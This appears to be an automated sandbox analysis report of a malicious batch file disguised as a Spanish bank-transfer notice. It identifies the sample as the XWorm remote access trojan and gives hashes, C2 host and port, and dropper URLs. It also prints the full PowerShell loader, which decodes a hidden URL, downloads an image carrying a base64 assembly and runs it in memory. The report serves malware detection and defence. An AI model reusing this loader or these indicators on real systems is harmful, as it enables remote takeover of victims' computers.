Analysis

  • max time kernel
    133s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29/10/2024, 20:04

General

  • Target
    INFORMACIÓN DE TRANSFERENCIA BANCARIA No 4532 25.bat
  • Size 210KB
  • Sample241029-ytcfrayhlm
  • SHA256 c7b24736650ed6130939821101f4641e1a50a2316f3bbcf974d85c8de585a40d
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://github.com/CryptersAndTools/Upload/blob/main/new_image.jpg?raw=true

  • exe.dropper

    https://github.com/CryptersAndTools/Upload/blob/main/new_image.jpg?raw=true

Extracted

Family
  • xworm

Version
  • 5.0

C2
  • crypters.ddns.com.br:7000

Mutex
  • GGGrHP0Odh89zLnb

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops startup file 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\INFORMACIÓN DE TRANSFERENCIA BANCARIA No 4532 25.bat"
    1⤵
    • Drops startup file
    • Suspicious use of WriteProcessMemory
    PID:3264
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly9naXRodWIuY29tL0NyeXB0ZXJzQW5kVG9vbHMvVXBsb2FkL2Jsb2IvbWFpbi9uZXdfaW1hZ2UuanBnP3Jhdz10cnVl'; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('joseamayaaa.chickenkiller.com', '1996');"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1520

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        __PSScriptPolicyTest_3oz2k3f4.fge.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3oz2k3f4.fge.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        memory/1520-2-0x00007FFD8D483000-0x00007FFD8D485000-memory.dmp

        memory/1520-8-0x000002855A3D0000-0x000002855A3F2000-memory.dmp

        memory/1520-13-0x00007FFD8D480000-0x00007FFD8DF41000-memory.dmp

        memory/1520-14-0x00007FFD8D480000-0x00007FFD8DF41000-memory.dmp

        memory/1520-15-0x000002855AB00000-0x000002855ADF2000-memory.dmp

        memory/1520-16-0x00007FFD8D483000-0x00007FFD8D485000-memory.dmp

        memory/1520-17-0x00007FFD8D480000-0x00007FFD8DF41000-memory.dmp

        memory/1520-18-0x00007FFD8D480000-0x00007FFD8DF41000-memory.dmp